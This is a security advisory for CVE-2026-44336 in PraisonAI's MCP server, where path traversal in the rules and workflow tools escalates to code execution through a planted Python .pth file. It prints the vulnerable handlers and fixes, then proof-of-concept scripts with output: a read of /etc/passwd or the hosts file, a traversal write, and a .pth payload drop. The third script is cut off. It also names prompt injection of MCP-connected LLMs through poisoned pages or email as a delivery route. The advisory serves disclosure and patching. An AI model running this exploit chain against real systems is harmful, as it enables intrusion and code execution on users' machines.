GHSA-9mqq-jqxf-grvw CVE-2026-44336 PYSEC-2026-472
PraisonAI MCP `tools/call` path-traversal => RCE via Python `.pth` injection
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.62%
- Chance of exploitation in the next 30 days. Higher than 49.73% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-20 Improper Input Validation
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere
- CWE-913 Improper Control of Dynamically-Managed Code Resources
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
4.6.34- Upgrade praisonai to this version or later
Description
Summary
PraisonAI's MCP (Model Context Protocol) server (praisonai mcp serve) registers four file-handling tools by default — praisonai.rules.create, praisonai.rules.show, praisonai.rules.delete, and praisonai.workflow.show. Each accepts a path or filename string from MCP tools/call arguments and joins it onto ~/.praison/rules/ (or, for workflow.show, accepts an absolute path) with no containment check. The JSON-RPC dispatcher passes params["arguments"] blind to each handler via **kwargs without validating against the advertised input schema.
By setting rule_name="../../<some-path>" an attacker walks out of the rules directory and writes any file the running user can write. Dropping a Python .pth file into the user site-packages directory escalates this primitive to arbitrary code execution in any subsequent Python process the user spawns — the next praisonai CLI invocation, an IDE script run, the user's python REPL, or any background Python service. The same primitive is reachable from:
- An MCP-connected LLM (Claude Desktop, Cursor, Continue.dev, Claude Code) whose context is poisoned by attacker-controlled web content / documents / emails — no operator click required beyond ordinary "ask the LLM to summarise this page" usage.
praisonai mcp serve --transport http-streamwith no--api-key(default), reachable from any local process / DNS-rebound browser tab / container neighbour sharing loopback.- Stdio MCP from any prompt-injection vector that reaches the connected LLM.
No operator misconfiguration is required. No env var, flag, or config switch disables the vulnerable handlers.
Details
1. The dispatcher accepts unvalidated kwargs
src/praisonai/praisonai/mcp_server/server.py:281-298:
async def _handle_tools_call(self, params: Dict[str, Any]) -> Dict[str, Any]:
"""Handle tools/call request."""
tool_name = params.get("name")
arguments = params.get("arguments", {})
if not tool_name:
raise ValueError("Tool name required")
tool = self._tool_registry.get(tool_name)
if tool is None:
raise ValueError(f"Tool not found: {tool_name}")
# Execute tool
try:
if asyncio.iscoroutinefunction(tool.handler):
result = await tool.handler(**arguments) # ← no schema enforcement
else:
result = tool.handler(**arguments)
tool.input_schema is built reflectively from the handler signature in registry.py:320-376 and surfaced in tools/list responses — but it is never enforced before dispatch. Whatever JSON shape the MCP client (or an LLM under prompt injection) sends becomes a **kwargs call.
2. The four registered handlers have no containment
src/praisonai/praisonai/mcp_server/adapters/cli_tools.py:
# line 116-128 — rules.create — primary write primitive
@register_tool("praisonai.rules.create")
def rules_create(rule_name: str, content: str) -> str:
"""Create a new rule."""
try:
import os
rules_dir = os.path.expanduser("~/.praison/rules")
os.makedirs(rules_dir, exist_ok=True)
rule_path = os.path.join(rules_dir, rule_name) # ← no realpath/containment
with open(rule_path, 'w') as f:
f.write(content)
return f"Rule created: {rule_name}"
except Exception as e:
return f"Error: {e}"
# line 102-114 — rules.show — read primitive (f-string interpolation, same vuln class)
@register_tool("praisonai.rules.show")
def rules_show(rule_name: str) -> str:
"""Show a specific rule."""
try:
import os
rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}") # ← `..` works
if not os.path.exists(rule_path):
return f"Rule not found: {rule_name}"
with open(rule_path, 'r') as f:
content = f.read()
return content
except Exception as e:
return f"Error: {e}"
# line 130-141 — rules.delete — delete primitive
@register_tool("praisonai.rules.delete")
def rules_delete(rule_name: str) -> str:
"""Delete a rule."""
try:
import os
rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}") # ← same pattern
if not os.path.exists(rule_path):
return f"Rule not found: {rule_name}"
os.remove(rule_path)
return f"Rule deleted: {rule_name}"
except Exception as e:
return f"Error: {e}"
# line 63-73 — workflow.show — absolute-path read primitive (no traversal needed)
@register_tool("praisonai.workflow.show")
def workflow_show(file_path: str) -> str:
"""Show workflow configuration."""
try:
with open(file_path, 'r') as f: # ← absolute path, no validation
content = f.read()
return content
except FileNotFoundError:
return f"File not found: {file_path}"
except Exception as e:
return f"Error: {e}"
os.path.join(rules_dir, "../../somewhere") and os.path.expanduser(f"~/.praison/rules/../../somewhere") both resolve .. segments at open() time, so the on-disk effect escapes the rules directory. workflow.show does not need traversal at all — it open()s an absolute path the LLM supplied.
3. Default registration ships these unconditionally
src/praisonai/praisonai/mcp_server/cli.py:216-219 (cmd_serve):
from .adapters import register_all
register_all()
src/praisonai/praisonai/mcp_server/adapters/__init__.py:33-39:
def _register_all():
register_all_tools()
register_extended_capability_tools()
register_cli_tools() # ← rules.create / rules.show / rules.delete / workflow.show
register_mcp_resources()
register_mcp_prompts()
There is no flag, env var, or config switch that disables the file primitives. praisonai mcp serve registers them on every startup.
4. HTTP-stream transport defaults to no authentication
src/praisonai/praisonai/mcp_server/cli.py:184:
parser.add_argument("--api-key", default=None)
The auth check at mcp_server/transports/http_stream.py:191-198 is wrapped in if self.api_key: — None skips the entire block. Default config: praisonai mcp serve --transport http-stream binds 127.0.0.1:8080/mcp unauthenticated.
5. Code-execution escalation via Python .pth
CPython's Lib/site.py (addsitedir / addpackage) imports lines starting with import from every .pth file present in site.getsitepackages() and site.getusersitepackages() at every interpreter startup. The user site-packages directory is always writable without elevation. A single .pth file containing import os; os.system("...") turns the path-traversal write primitive into RCE on the next Python interpreter the user starts — including the user's own python REPL, the next praisonai CLI command, IDE script launchers, and any background Python service.
Suggested fix
-
Containment in every cli_tools handler. Replace bare
os.path.join/ f-string interpolation with explicit prefix validation:import re from pathlib import Path if not re.fullmatch(r"[A-Za-z0-9._-]+", rule_name): return "Error: invalid rule name" rules_dir = Path(os.path.expanduser("~/.praison/rules")).resolve() rule_path = (rules_dir / rule_name).resolve() if not str(rule_path).startswith(str(rules_dir) + os.sep): return "Error: rule_name escapes rules directory"Apply identically to
praisonai.rules.create,rules.show,rules.delete,workflow.validate. Forworkflow.show, restrictfile_pathto a designated workflow directory and reject absolute paths or any value containing... -
Schema enforcement in the dispatcher. Validate
params["arguments"]againsttool.input_schema(a JSON-Schema validator such asjsonschema) beforetool.handler(**arguments). Reject unknown properties, type mismatches, missing required fields. Return JSON-RPC-32602 Invalid params. -
Reduce the default tool surface. Move
rules.*andworkflow.showbehind an explicit--enable-fs-toolsopt-in. Theregister_allhelper should only register read-only safe tools by default. -
Require auth on non-loopback HTTP-stream binds.
praisonai mcp serve --transport http-streamshould refuse to start withhost != 127.0.0.1if--api-keyis unset (mirror the gateway'sassert_external_bind_safefromsrc/praisonai/praisonai/gateway/auth.py:23-54).
PoC
Tested against the PraisonAI repository at HEAD as of 2026-05-02. Verified on Python 3.14 / Windows 11 with both packages installed in editable mode. Each invocation of the RCE chain produced a fresh PID for the spawned Python process — confirmed across four successive runs (PIDs 8172, 23412, 10016, 17912) — proving the payload genuinely runs in a new interpreter, not residual state.
Reproduction prerequisites
- Python ≥ 3.10 (3.14 used during verification).
- A clean clone of the PraisonAI repository:
git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI - Install both packages in editable mode:
pip install -e src/praisonai-agents -e src/praisonai - For PoC #3 (HTTP-stream variant):
pip install uvicorn starlette(already pulled in bypraisonai[api]). - All other PoCs run against the package source alone — no network server required.
PoC 1 — In-process file primitives via MCP tools/call
Confirms arbitrary file READ, path-traversal WRITE, and path-traversal READ-BACK without spinning up a network server. Equivalent to electerm's parser dry-run; runs against the package source alone.
cat > /tmp/poc01_primitives.py <<'EOF'
"""PoC #1 — File primitives via MCP tools/call (in-process)"""
import asyncio, json, os
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all
register_all()
server = MCPServer()
async def call(method, params, msg_id=1):
msg = {"jsonrpc": "2.0", "id": msg_id, "method": method, "params": params}
return await server.handle_message(msg)
async def main():
await call("initialize", {
"protocolVersion": "2025-11-25",
"clientInfo": {"name": "poc", "version": "0"},
"capabilities": {},
})
# ── A1. Arbitrary file READ via workflow.show (absolute path, no traversal) ──
candidates = ["/etc/passwd", "/etc/hostname",
"C:/Windows/System32/drivers/etc/hosts"]
target = next((c for c in candidates if os.path.exists(c)), None)
if target:
r = await call("tools/call", {"name": "praisonai.workflow.show",
"arguments": {"file_path": target}}, 2)
print(f"[A1] READ {target} (first 200 chars):")
print(r["result"]["content"][0]["text"][:200])
# ── A2. Path-traversal WRITE via rules.create — escapes ~/.praison/rules/ ──
import tempfile
pwned = os.path.join(tempfile.gettempdir(), "PRAISONAI_PWNED.txt")
rules_dir = os.path.expanduser("~/.praison/rules")
rel = os.path.relpath(pwned, rules_dir)
print(f"\n[A2] tools/call praisonai.rules.create rule_name={rel!r}")
r = await call("tools/call", {"name": "praisonai.rules.create",
"arguments": {"rule_name": rel,
"content": "owned-by-poc"}}, 3)
print(f"[A2] handler said: {r['result']['content'][0]['text']}")
print(f"[A2] target path: {pwned}")
print(f"[A2] exists: {os.path.exists(pwned)}, "
f"contents: {open(pwned).read()!r}")
# ── A3. Path-traversal READ via rules.show ──
r = await call("tools/call", {"name": "praisonai.rules.show",
"arguments": {"rule_name": rel}}, 4)
print(f"\n[A3] READ-BACK via rules.show -> "
f"{r['result']['content'][0]['text']!r}")
# ── A4. Schema bypass: undeclared kwarg dispatched into handler ──
print("\n[A4] sending undeclared kwarg to confirm dispatcher accepts it")
r = await call("tools/call", {"name": "praisonai.workflow.show",
"arguments": {"file_path": target,
"undeclared_kwarg": "x"}}, 5)
print(f"[A4] response (TypeError raised by handler, NOT by dispatcher): "
f"{r['result']['content'][0]['text'][:120]}")
# Cleanup
if os.path.exists(pwned):
os.unlink(pwned)
asyncio.run(main())
EOF
python /tmp/poc01_primitives.py
Expected output (verbatim from this run):
[A1] READ C:/Windows/System32/drivers/etc/hosts (first 200 chars):
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
...
[A2] tools/call praisonai.rules.create rule_name='..\\..\\AppData\\Local\\Temp\\PRAISONAI_PWNED.txt'
[A2] handler said: Rule created: ..\..\AppData\Local\Temp\PRAISONAI_PWNED.txt
[A2] target path: C:\Users\<user>\AppData\Local\Temp\PRAISONAI_PWNED.txt
[A2] exists: True, contents: 'owned-by-poc'
[A3] READ-BACK via rules.show -> 'owned-by-poc'
[A4] sending undeclared kwarg to confirm dispatcher accepts it
[A4] response (TypeError raised by handler, NOT by dispatcher): Error: register_cli_tools.<locals>.workflow_show() got an unexpected keyword argument 'undeclared_kwarg'
PoC 2 — RCE escalation via Python .pth
Drops a Python .pth payload into the user site-packages directory using the path-traversal write from PoC #1, then spawns an unrelated python -c "pass" to demonstrate that the payload runs in a fresh interpreter.
cat > /tmp/poc02_rce.py <<'EOF'
"""PoC #2 — RCE escalation via Python .pth injection.
Walks the path-traversal write into user site-packages, drops a .pth that
imports os and writes a marker on the next Python startup. Then spawns an
unrelated python -c "pass" subprocess to prove the marker is created in a
fresh interpreter, not in this one.
"""
import asyncio, os, site, subprocess, sys, tempfile, time
from pathlib import Path
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all
register_all()
server = MCPServer()
# Marker file the .pth payload will write to
MARKER = Path(tempfile.gettempdir()) / "praisonai_rce_marker.txt"
if MARKER.exists():
MARKER.unlink()
# Compose the .pth payload. site.py runs lines starting with `import` at
# interpreter startup. We chain statements with `;` to keep it one line.
PAYLOAD = (
"import sys, os, pathlib; "
f"pathlib.Path(r'{MARKER}').write_text("
"f'PRAISONAI_RCE_OK pid={os.getpid()} args={sys.argv}')"
"\n"
)
# Target .pth in user site-packages (always writable without elevation)
TARGET = Path(site.getusersitepackages()) / "praisonai_chain_a_rce.pth"
TARGET.parent.mkdir(parents=True, exist_ok=True)
# Compute the traversal payload — relative path from ~/.praison/rules to TARGET
RULES = Path(os.path.expanduser("~/.praison/rules")).resolve()
REL = os.path.relpath(TARGET, RULES)
print(f"[*] target .pth file: {TARGET}")
print(f"[*] traversal rule_name: {REL!r}")
print(f"[*] payload (first 80 chars): {PAYLOAD[:80]}...")
print()
async def main():
# 1. Initialize MCP session
await server.handle_message({"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-11-25",
"clientInfo": {"name": "poc", "version": "0"},
"capabilities": {}}})
# 2. Drop the .pth via the unauthenticated rules.create handler
r = await server.handle_message({"jsonrpc": "2.0", "id": 2,
"method": "tools/call",
"params": {"name": "praisonai.rules.create",
"arguments": {"rule_name": REL, "content": PAYLOAD}}})
print(f"[*] tools/call response: {r['result']['content'][0]['text']}")
print(f"[*] .pth exists: {TARGET.exists()}")
asyncio.run(main())
if not TARGET.exists():
print("FAIL: .pth was not written.", file=sys.stderr)
sys.exit(1)
# 3. Trigger: spawn a fresh, unrelated `python -c "pass"` subprocess.
# site.py imports lines from every .pth at interpreter startup BEFORE
# user code runs.
print()
print(f'[*] launching fresh `python -c "pass"` to trigger .pth ...')
result = subprocess.run([sys.executable, "-c", "pass"],
capture_output=True, text=True)
print(f"[*] subprocess returncode: {result.returncode}")
# 4. Verify side effect — marker file exists with a NEW pid
deadline = time.time() + 3.0
while time.time() < deadline:
if MARKER.exists() and MARKER.stat().st_size > 0:
break
time.sleep(0.05)
if MARKER.exists():
contents = MARKER.read_text()
print(f"[*] marker exists: True")
print(f"[*] marker contents: {contents!r}")
print()
print("[+] RCE confirmed: arbitrary code executed in a fresh Python")
print(" interpreter spawned AFTER the path-traversal write.")
else:
print("[-] marker not present — escape may have partially failed")
sys.exit(1)
# Clean up
TARGET.unlink(missing_ok=True)
MARKER.unlink(missing_ok=True)
EOF
python /tmp/poc02_rce.py
Expected output (verbatim from this run):
[*] target .pth file: C:\Users\<user>\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth
[*] traversal rule_name: '..\\..\\AppData\\Roaming\\Python\\Python314\\site-packages\\praisonai_chain_a_rce.pth'
[*] payload (first 80 chars): import sys, os, pathlib; pathlib.Path(r'C:\Users\<user>\AppData\Local\Temp\pra...
[*] tools/call response: Rule created: ..\..\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth
[*] .pth exists: True
[*] launching fresh `python -c "pass"` to trigger .pth ...
[*] subprocess returncode: 0
[*] marker exists: True
[*] marker contents: "PRAISONAI_RCE_OK pid=17912 args=['-c']"
[+] RCE confirmed: arbitrary code executed in a fresh Python interpreter
spawned AFTER the path-traversal write.
The PID in the marker (17912) is the spawned python -c "pass" subprocess — not the writing process. Each successive run produces a different PID, proving fresh-interpreter semantics.
PoC 3 — End-to-end HTTP-stream variant (default no-auth)
Confirms a remote/local attacker who can dial loopback (DNS-rebound browser, container neighbour, malicious local app) reaches the unauth dispatcher and lands the same RCE. The server is started by directly invoking HTTPStreamTransport — the same code path that praisonai mcp serve --transport http-stream ultimately calls — to keep the PoC stable across CLI-routing changes.
# 1) Server side (default config: host=127.0.0.1, port=8080, api_key=None).
# The auth check at http_stream.py:191-198 is wrapped in `if self.api_key:`
# so api_key=None disables it entirely.
cat > /tmp/poc03_server.py <<'EOF'
"""HTTP-stream MCP server, default no-auth."""
import sys, io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8')
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
register_all()
server = MCPServer(name='praisonai')
transport = HTTPStreamTransport(
server=server, host='127.0.0.1', port=8080,
endpoint='/mcp', api_key=None,
)
print('MCP server: 127.0.0.1:8080/mcp (no auth)', flush=True)
transport.run()
EOF
python /tmp/poc03_server.py &
SERVER_PID=$!
sleep 5
# Sanity probe — anonymous initialize over HTTP
curl -s -X POST http://127.0.0.1:8080/mcp -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2025-11-25","clientInfo":{"name":"probe","version":"0"},"capabilities":{}}}'
echo
# 2) Attacker side — anyone on loopback (different terminal, malicious local…
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.6.34 |
4.6.34 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.34
- pip
pip install --upgrade "praisonai>=4.6.34"- poetry
poetry add "praisonai>=4.6.34"- uv
uv add "praisonai>=4.6.34"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
CVSS 3.1 9.6
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-20: Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
How to prevent it
- Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CWE-913: Improper Control of Dynamically-Managed Code Resources
The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.
How to prevent it
- Implementation: For any externally-influenced input, check the input against an allowlist of acceptable values.
- Implementation, Architecture and Design: Refactor the code so that it does not need to be dynamically managed.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
